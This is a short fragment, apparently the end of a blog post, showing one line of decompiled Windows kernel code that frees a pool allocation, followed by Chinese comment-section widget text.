    ExFreePoolWithTag(*(PVOID *)(v6 + 0x190), 0);
  [...]
}
1 条评论
某人
表情
可输入 255